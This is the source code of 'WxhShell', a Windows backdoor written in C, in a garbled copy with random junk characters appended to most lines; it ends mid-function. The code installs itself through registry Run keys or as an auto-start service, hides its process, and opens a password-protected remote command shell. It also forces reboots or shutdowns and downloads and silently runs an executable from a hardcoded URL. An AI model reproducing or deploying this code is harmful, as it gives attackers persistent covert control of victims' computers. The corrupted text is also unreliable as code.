PROCNTQSIP NtQueryInformationProcess; |%a4`w
,6^znOt
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C`jM0Q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;^Sr"v6r>u
(m[bWdANnW
HANDLE hProcess; (UCK;k
PROCESS_BASIC_INFORMATION pbi; Qcjc,
x3ERCqTR
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5l-mW0,MK
if(NULL == hInst ) return 0; YNrp}KQ
J/!cGr(B~
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KfCoe[Vv
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o'<^LYSnB
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -tsDMji~V
1{Mcs%W;w5
if (!NtQueryInformationProcess) return 0; 5F|8?BkOL^
6pOx'u>h+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nn b8Gcr
if(!hProcess) return 0; >gKh
Syp"L;H8Em
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7r+g8+4
<mMTD8Sx]
CloseHandle(hProcess); P|2E2=G
F
09DV<j
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $eV$2p3H
if(hProcess==NULL) return 0; :4S%'d7
ZR v"h/~
HMODULE hMod; RC|!+TD
char procName[255]; IPSF]"}~
unsigned long cbNeeded; Wjh/M&,
E@05e
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xb
!MaNm)
P #F=c34u
CloseHandle(hProcess); |wEN`#.;b
Y!q!5Crfi
if(strstr(procName,"services")) return 1; // 以服务启动 -V"22sR]
K
]OK:hY4
return 0; // 注册表启动 Uawpfgc}
} "N:XzG
l JP1XzN_
// 主模块 @;xMs8@
int StartWxhshell(LPSTR lpCmdLine) yL^UE=#C_
{ +`M!D }!
SOCKET wsl; LWsP ya
BOOL val=TRUE; f=!PllxL:
int port=0; CxhY$%C (L
struct sockaddr_in door;
d8SE,A&
Q(d9n8
if(wscfg.ws_autoins) Install(); rKHY?{!
Fhz*&JC#
port=atoi(lpCmdLine); l:6,QaT1
ffXyc2o
if(port<=0) port=wscfg.ws_port; GT hL/M
`I$<S(h7
WSADATA data; C.^Ven
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +t4BQf
{k.MS-q
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; iz(u=/*\
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V]c;^
door.sin_family = AF_INET; KD1=Y80P
door.sin_addr.s_addr = inet_addr("127.0.0.1"); =ItkFjhBc
door.sin_port = htons(port); )yY6rI;:
b5IA"w
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =&0wr6
closesocket(wsl); FEPXuCb
return 1; Glq85S
} &~UJf4b|A
OX%MP!#KU
if(listen(wsl,2) == INVALID_SOCKET) { yq_LW>|Z
closesocket(wsl); =K&\E2kA4
return 1; 6qe*@o
} 6+V\t+aug
Wxhshell(wsl); N$Y " c*
WSACleanup(); M'`;{^<
-S,ln
return 0; [>#*B9
<X TU8G
} %;D+k
k *R<,
// 以NT服务方式启动 4ww]9J
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t:JI!DR
{ {ng"=3+n
DWORD status = 0; Iu~\L0R427
DWORD specificError = 0xfffffff; -IlJ^Al4
;TcvA
serviceStatus.dwServiceType = SERVICE_WIN32; /sR%]q
|L
serviceStatus.dwCurrentState = SERVICE_START_PENDING; v{i7h|e
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =.|J!x
serviceStatus.dwWin32ExitCode = 0; OI}
&m^IOo
serviceStatus.dwServiceSpecificExitCode = 0; r[.>P$U
serviceStatus.dwCheckPoint = 0; obK*rdg,
serviceStatus.dwWaitHint = 0; 9p 4"r^
}
B396X
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '^%~JyU
if (hServiceStatusHandle==0) return; )CI1;
w|mb4AyL{?
status = GetLastError(); KtS)'jf
if (status!=NO_ERROR) d|Gl`BG
{ 5dx&Qu'}ZS
serviceStatus.dwCurrentState = SERVICE_STOPPED; M,j(=hRJ/E
serviceStatus.dwCheckPoint = 0; zPEg
serviceStatus.dwWaitHint = 0; juAMAplf
serviceStatus.dwWin32ExitCode = status; dX8hpQ
serviceStatus.dwServiceSpecificExitCode = specificError; #B'aU#$u
SetServiceStatus(hServiceStatusHandle, &serviceStatus); m`4R]L]
return; 'B83m#HR#
} @ZN^1?][
EzW)'Zzw~
serviceStatus.dwCurrentState = SERVICE_RUNNING; dk
QaM@
serviceStatus.dwCheckPoint = 0; @4%L36k
serviceStatus.dwWaitHint = 0; m6eZ_&+u
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q0%
} wn
Y$fT9
at!Y3VywG
// 处理NT服务事件,比如:启动、停止 l?Y_~Wuw
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^^i6|l1
{ d;Hn#2C
switch(fdwControl) syx\gz
{ G.+l7bnZM
case SERVICE_CONTROL_STOP: 9 7%0;a8
serviceStatus.dwWin32ExitCode = 0; JB</euyV
serviceStatus.dwCurrentState = SERVICE_STOPPED; BY\:dx)mK
serviceStatus.dwCheckPoint = 0; =k}SD96
serviceStatus.dwWaitHint = 0; %CZ-r"A
{ }}QT HR
SetServiceStatus(hServiceStatusHandle, &serviceStatus); s#h8%['
} Q|}aR:4
return; |CgnCUv+
case SERVICE_CONTROL_PAUSE: {^{p,9
serviceStatus.dwCurrentState = SERVICE_PAUSED; T0Yiayt
break; jk\ dG16
case SERVICE_CONTROL_CONTINUE: y#Ht{)C
serviceStatus.dwCurrentState = SERVICE_RUNNING; \&V0vN1
break; c~A4gtB=
case SERVICE_CONTROL_INTERROGATE: )PkNWj6%y
break; Xf=XBoN|
}; H-rWDN#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /Y[~-Y+!,
} PIA)d-Z
]!:oYAm
// 标准应用程序主函数 &m3.h!dq
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )T907I|
{ Jxf~&!zR
uBg 8h{>
// 获取操作系统版本 /)N@M
OsIsNt=GetOsVer(); ^/wfXm
GetModuleFileName(NULL,ExeFile,MAX_PATH); s)voII&
aI
zv
// 从命令行安装 j^`X~gE
if(strpbrk(lpCmdLine,"iI")) Install(); F}J-gZl
/9Q3iV$I]
// 下载执行文件 nM=e]qH
if(wscfg.ws_downexe) { NIZ<0I*5
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QH4wUU3X
WinExec(wscfg.ws_filenam,SW_HIDE); a\kb^D=T
} HQ!Xj.y
puSLqouTM
if(!OsIsNt) { C2]Kc{4
// 如果时win9x,隐藏进程并且设置为注册表启动 B;Nl~Y| \
HideProc(); ^Yr0@pE
StartWxhshell(lpCmdLine); TAL/a*7\
} 50jOA#l[
else ArLvz5WV
if(StartFromService()) sKLX [l
// 以服务方式启动 IC/(R! Crj
StartServiceCtrlDispatcher(DispatchTable); +]>+a<x*%
else 39e;
// 普通方式启动 ,p{`pma
StartWxhshell(lpCmdLine); ~:;3uLs,8
9L%I<5i
return 0; MFJE6ei
} N\t1T(C|
-0o[f53}p
c- $Gpa}M
n9LGP2#!
=========================================== /4=-b_2Y~
C`oa3B,z
si1*Wt<3Bc
rgIrr5
z
`8cOK-
~>G]_H]?
" &zL#hBE
Zr$d20M2A;
#include <stdio.h> '/0#lF
#include <string.h> TGT$ >/w >
#include <windows.h> @mw "W{
#include <winsock2.h> ~CRSL1?
#include <winsvc.h> K5 3MMH[q#
#include <urlmon.h> VCNT4m
Mro4`GL
#pragma comment (lib, "Ws2_32.lib") gLD`wfZR
#pragma comment (lib, "urlmon.lib") )G^TW'9
^jdL@#k00
#define MAX_USER 100 // 最大客户端连接数 |wxGpBau
#define BUF_SOCK 200 // sock buffer ~KjJ\b)R
#define KEY_BUFF 255 // 输入 buffer ofc.zwH
,reJ(s
#define REBOOT 0 // 重启 ~ <0Z>qr
#define SHUTDOWN 1 // 关机 :L?_Y/K
`Y?t@dd
#define DEF_PORT 5000 // 监听端口 hVoNw6fE
R)Q4
#define REG_LEN 16 // 注册表键长度 9V1cdb~?"T
#define SVC_LEN 80 // NT服务名长度 Dkw%`(Oh/,
O[~x_xeW
// 从dll定义API S{F-ttS"
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4Tzd; P6_
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uE_c4Hp
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xc
1A$EY
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +,'T=Ic{
zbw7U'jk
// wxhshell配置信息 `cP <}^]
struct WSCFG { \L!uHAE2a
int ws_port; // 监听端口 `&7RMa4=
char ws_passstr[REG_LEN]; // 口令 A Ayv
int ws_autoins; // 安装标记, 1=yes 0=no )9"oL!2h
char ws_regname[REG_LEN]; // 注册表键名 :LJ7ru2
char ws_svcname[REG_LEN]; // 服务名 :bM+&EP
char ws_svcdisp[SVC_LEN]; // 服务显示名 Y,z??bm~J
char ws_svcdesc[SVC_LEN]; // 服务描述信息 u.|~
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C.a5RF0
int ws_downexe; // 下载执行标记, 1=yes 0=no TT!ET<ciN
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *}b]rjsj
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hP?fMW$V
{E9v`u\
}; ~9pM%N
V
l?N`{,1^
// default Wxhshell configuration >.9eBz@
struct WSCFG wscfg={DEF_PORT, 9
wa,k
"xuhuanlingzhe", ]o.vB}WsY
1, \9c$`nn
"Wxhshell", ZwI
1* f
"Wxhshell", A;K(J4y*
"WxhShell Service", Eyh|a.)-
"Wrsky Windows CmdShell Service", -<f/\U
"Please Input Your Password: ", 0Vv9BL{
1, *DeTqO65
"http://www.wrsky.com/wxhshell.exe", HB&
&
"Wxhshell.exe" <)m%*9{
}; :{g7lTM
g#^|oYuH6
// 消息定义模块 9V!-ZG
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `_AM` >_
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0LVE@qEL
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #Fd W/y5
char *msg_ws_ext="\n\rExit."; gy_$#e
char *msg_ws_end="\n\rQuit."; V2znU
char *msg_ws_boot="\n\rReboot..."; E:A!wS`"
char *msg_ws_poff="\n\rShutdown..."; Eek9|i"p
char *msg_ws_down="\n\rSave to "; QX0Y>&$)
;_JH:}j
char *msg_ws_err="\n\rErr!"; [$\>~nj=
char *msg_ws_ok="\n\rOK!"; :iCM=k
XF,<i1ZlM
char ExeFile[MAX_PATH]; )q^ Bj$
int nUser = 0; m@qqVRn#)
HANDLE handles[MAX_USER]; f@z*3I;
int OsIsNt; -zfoRU v
is#8R:7.:
SERVICE_STATUS serviceStatus; D5A=,\uk
SERVICE_STATUS_HANDLE hServiceStatusHandle; 0Qd%iP)6
ym%slg
// 函数声明 3{J.xWB@:
int Install(void); Dx+K+(
int Uninstall(void); Ek .3
int DownloadFile(char *sURL, SOCKET wsh); |qUrEGjiSS
int Boot(int flag); uDG+SdyN@
void HideProc(void); )s")y
int GetOsVer(void); &sOM>^SAD
int Wxhshell(SOCKET wsl); av' *u
void TalkWithClient(void *cs); Wc'Ehyi;
int CmdShell(SOCKET sock); 9;f|EGwZ
int StartFromService(void); :EHQ .^
int StartWxhshell(LPSTR lpCmdLine); ZlR!s!vv
Aka^e\Y@6*
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); womq^h6
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2w1tK
M []OHw
// 数据结构和表定义 >Q2). E
SERVICE_TABLE_ENTRY DispatchTable[] = }B)jq`a?|\
{ it}-^3AM
{wscfg.ws_svcname, NTServiceMain}, n6f3H\/P&
{NULL, NULL} #ooc)),
}; f'{>AKi=C
'h*Zc}Q:
// 自我安装 'U)8rR
int Install(void) :m`/Q_y"
{ gue(C(~.k_
char svExeFile[MAX_PATH]; 1L[S*X
HKEY key; MW@ DXbKVl
strcpy(svExeFile,ExeFile); )!-S|s'
~775soN
// 如果是win9x系统,修改注册表设为自启动 J?jeYW
if(!OsIsNt) { :R+],m il
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o/JPYBhdl
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k&GHu0z
RegCloseKey(key); a!t
V6H
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *T4ge|zUc
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5u,sx664
RegCloseKey(key); epVH.u%
return 0; YNM\pX'
} 8~5|KO >F
} S}gD,7@
} 3?ba
1F0Nw
else { OV|Z=EwJ
yX9B97XyC
// 如果是NT以上系统,安装为系统服务 *Mi6
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
%0v*n8
if (schSCManager!=0) M {x ie
{ eTZ`q_LfI1
SC_HANDLE schService = CreateService lIq~~cv)
( O,9X8$5H-a
schSCManager, G%OpO.Wf
wscfg.ws_svcname, k+\7B}7F
wscfg.ws_svcdisp, q3\!$IM.
SERVICE_ALL_ACCESS, I7Zq}Pxa
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6y@<?08Q
SERVICE_AUTO_START, {HuLuP0t
SERVICE_ERROR_NORMAL, @,vv\M0)p
svExeFile, OK\]*r
NULL, M(S{1|,V
NULL, # U`&jBU
NULL, }#YQg0(
NULL, r5)f82pQ
NULL \UQ],+H
); @Z2/9K%1'
if (schService!=0) XI
g|G}i.
{ h544dNo&
CloseServiceHandle(schService); jr1Se9u D
CloseServiceHandle(schSCManager); b-b;7a\N
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }}s)
+d
strcat(svExeFile,wscfg.ws_svcname); &ps6s.K
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ro]L}oE+
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AzX(~Qc
RegCloseKey(key); `q1}6U/k
return 0; ?M<|r11}
} `w=!o.1
} riEqW}{
CloseServiceHandle(schSCManager); )`RZkCe
} Ap,q
`S
} K!b>TICa:
]}_,U!`8
return 1; HjPH
} L4mTs-M.
hGKdGu`0
// 自我卸载 +}]wLM}\UF
int Uninstall(void) @}{VM)Fc+
{ V9]uFL
HKEY key; {q2<KRU2+#
Px#4pmz
if(!OsIsNt) { <M>#qd@c
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %>]#vQ|
RegDeleteValue(key,wscfg.ws_regname); =z%s8D2
RegCloseKey(key); m-#d8sD2C
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]=pWZ~A
RegDeleteValue(key,wscfg.ws_regname); %w%zv2d
RegCloseKey(key); ,,2_/u\"/i
return 0; L`bo#,eg6
} qZc)Sa.S
} Ot"(uW4$[
} dK7 ^
else { 8Nv-/VQ/b
y7
<(,uT
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /^WE@r[:
if (schSCManager!=0) )xbqQW7%0+
{ 7dx4~dF
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^f"&}%" M
if (schService!=0) 6P6Jx;
{ k dUc&
if(DeleteService(schService)!=0) { /3;=xZq
CloseServiceHandle(schService); 'jwTGT5x
CloseServiceHandle(schSCManager); XAGiu;<,=
return 0; -y<rM0"NE
} GYTbeY
CloseServiceHandle(schService); c{ZqQtfM
} :4b- sg#
CloseServiceHandle(schSCManager); m
R"9&wq
} 8^NE=)cb7w
} fjG /dhr
/XC;.dLA#
return 1; OQ
0b$qw
} $M%}Oz3*
2}1!WIin
// 从指定url下载文件 13]y)(
int DownloadFile(char *sURL, SOCKET wsh) 34^Q5B~^J
{ SwQOFE/Dv~
HRESULT hr; lK 9s0t'
char seps[]= "/"; csm?oU niz
char *token; >EyvdX#v
char *file; fG^7@Jw:G
char myURL[MAX_PATH]; I[vME"
char myFILE[MAX_PATH]; 7jD@Gp`" 3
e1Dj0s?i~K
strcpy(myURL,sURL); ]oo|o1H87
token=strtok(myURL,seps); H==X0
while(token!=NULL) ook' u}h
{ ;%lJD"yF
file=token; HXz iDnj
token=strtok(NULL,seps); }:tAKO=+
} 1Z=;Uy\
zbdOCfA;
GetCurrentDirectory(MAX_PATH,myFILE); i,^>uf
strcat(myFILE, "\\"); LjX&',
strcat(myFILE, file); N>h]mX6
send(wsh,myFILE,strlen(myFILE),0); YlxUx
send(wsh,"...",3,0); VN1#8{
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LH1BZ(5g
if(hr==S_OK) jAsh
return 0; GWVEIZ
else qsQ]M^@>
return 1; F\I5fNs@
$XtV8
} |2tSUOZ
kvY}
yw7
// 系统电源模块 :ga 9Db9P
int Boot(int flag) ;g!xQvcR
{ 8Fyc#Xo8
HANDLE hToken; |v,}%UN2
TOKEN_PRIVILEGES tkp; ](idf(j
99=[>Ck)G
if(OsIsNt) { \Or]5ogT'
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6uv'r;U]
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); })Ix.!p
tkp.PrivilegeCount = 1; C8O7i[uc
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "@F*$JGT y
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OD>u$tI9
if(flag==REBOOT) { KI^ q 5D ?
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @*AYm-k
return 0; B`t)rBy
} R
A-^!4tX
else { ~M|NzK_9
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `K@5_db\
return 0; d{(s-
} -sruxF
} _S[Rvb1e
else { j58Dki->.
if(flag==REBOOT) { PkZf(=-X
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6T5A31 Q
return 0; {3_F fsg`
} j@!BOL~?
else { S S7D1
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x|P<F 2L
return 0; |sDG>Zq?
} `*.r'k2R
} w%!k?t,*]
.je~qo)
return 1; A@fshWrl%
} J?UZN^
Lk$Je
O
// win9x进程隐藏模块 S.?\>iH[
void HideProc(void) |>m# m*{S
{ ?ZD{e|:u
rVc
zO+E
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :d:|7hlNQ
if ( hKernel != NULL ) QqT6P`0u
{ &eLQ;<qO*|
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %m0L!|E
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;RTrRh0v
FreeLibrary(hKernel); 0|qx/xo|-
} ]-+.lR%vd9
&9GR2GY
return; /;]B1T7
} JCQx8;V%I
^+Y-=2u:
// 获取操作系统版本 .T
N`p*
int GetOsVer(void) ),W(TL
{
.jrR4@
OSVERSIONINFO winfo; 9, sCJ5bb"
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V8| q"UX
GetVersionEx(&winfo); %s&E-*X
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &,6y(-
return 1; e{#a{`?Uez
else %^)Ja EUC
return 0; nOL 25 Y:
} ._F6- pl
ft.}$8vIT
// 客户端句柄模块 Y ~\`0?ST
int Wxhshell(SOCKET wsl) VAG+y/q
{ zN8&M<mTl
SOCKET wsh; ^`B##9g~
struct sockaddr_in client; E?;T:7.%
DWORD myID; >(1_Dn\
^~*[~
while(nUser<MAX_USER) +p%5/smfs
{ Xk$l-Zfse
int nSize=sizeof(client); g}s-v?+
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IJb1)
ZuR
if(wsh==INVALID_SOCKET) return 1; g)|++?
3
MI ) E
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
EY[Q%
if(handles[nUser]==0) ~*Sbn~U
closesocket(wsh); dOYm t,
else o sgS?=8
nUser++; DRFuvU+e
} JCU3\39}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4q2=:"z4
M}KM]<
return 0; <^X'f
} fuIv,lDA
u^4 "96aXJ
// 关闭 socket 8BoT%kVeJv
void CloseIt(SOCKET wsh) 6XxG1]84
{ h1UlLy8
closesocket(wsh); .]sIoB-54
nUser--; \i;~~;D
ExitThread(0); 1\.zOq#
} CFS3);'<|
/B#lju!
// 客户端请求句柄 *~lgU4
void TalkWithClient(void *cs) K
{1ZaEH
{ Lw+1|
^J}$y7
SOCKET wsh=(SOCKET)cs; GVHfN5bTqn
char pwd[SVC_LEN]; +68K[s,FD
char cmd[KEY_BUFF]; ~)_ ?:.Da
char chr[1]; "!_
4%z-
int i,j; 94k)a8-!
{-7yZ]OO$
while (nUser < MAX_USER) { xvz5\s|b
;
K
6Fe)
if(wscfg.ws_passstr) { Z!=Pc$?
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A%czhF
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yU8Y{o;:
//ZeroMemory(pwd,KEY_BUFF); +]~w ?^h
i=0; UC
LjR<}
while(i<SVC_LEN) { pQ-^T.'
LK-6z w5=(
// 设置超时 kI[O {<kQ
fd_set FdRead; my #u^O;
struct timeval TimeOut; #* /W!UOu
FD_ZERO(&FdRead); V]PhXVJ
FD_SET(wsh,&FdRead); R_*D7|v
TimeOut.tv_sec=8; f [I'j0H%
TimeOut.tv_usec=0; pNf9
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uW--
nXMs
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _Ag/gu2-?
~FCSq:_
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JLV}Fw
pwd=chr[0]; xS\QKnG.
if(chr[0]==0xd || chr[0]==0xa) { W<hdb!bE
pwd=0; |I^Jn@Mq:
break; { )GEgC
} n#L2cv~Aj"
i++; @p` CAB
} 6UAxl3-\
zam0(^=
// 如果是非法用户,关闭 socket g l\$jDC9
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /E
yg*#
} ]!J3?G
?;#3U5$v
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _(kwD^x6O{
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [
*a>{sO[
}br<2?y,
while(1) { >@89k^#Vc
8\V>6^3CD$
ZeroMemory(cmd,KEY_BUFF); e]B<